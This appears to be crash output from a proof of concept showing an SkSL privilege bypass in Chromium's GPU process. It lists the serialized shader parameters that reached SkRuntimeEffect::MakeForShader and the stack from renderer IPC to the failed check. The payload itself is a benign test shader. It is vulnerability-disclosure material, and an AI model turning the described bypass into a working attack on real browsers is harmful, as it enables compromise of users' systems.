=== SYMBOLIZED GPU PROCESS CRASH STACK === (crashpad metadata: "ptype" = "gpu-process") [FATAL:cc/paint/paint_op_reader.cc:819] Check failed: options_.is_privileged. ===== POC: SkSL PRIVILEGE BYPASS PROVEN ===== shader_type=2 (kSkSLCommand=8, kColor=1) effect_id=0x41414141 sksl="// POC-SENTINEL // half4 main(float2 p) { return half4(0.25, 0.5, 0.75, 1.0); }" ===== Unprivileged channel reached SkRuntimeEffect::MakeForShader. ===== #0 base/debug/stack_trace_posix.cc:1050 StackTrace::StackTrace #1 base/debug/stack_trace.cc:280 #2 base/logging.cc:708 LogMessage::~LogMessage #3 base/logging.cc:697 #4 base/check.cc:198 CheckFailure #5 base/check.cc:363 #6 cc/paint/paint_op_reader.cc:819 PaintOpReader::Read(sk_sp*) <-- DETECTOR #7 cc/paint/paint_op.cc:990 PaintFlags deserialize #8 cc/paint/paint_op.cc:2143 PaintOp::Deserialize #9 gpu/command_buffer/service/raster_decoder.cc:3022 <-- paint-op deserialize loop #10 gpu/command_buffer/service/raster_decoder.cc:3062 <-- DoRasterCHROMIUM #11 gpu/command_buffer/service/raster_decoder.cc:1510 <-- command dispatcher #12 gpu/command_buffer/service/command_buffer_service.cc:267 #13 gpu/ipc/service/command_buffer_stub.cc:504 <-- IPC from renderer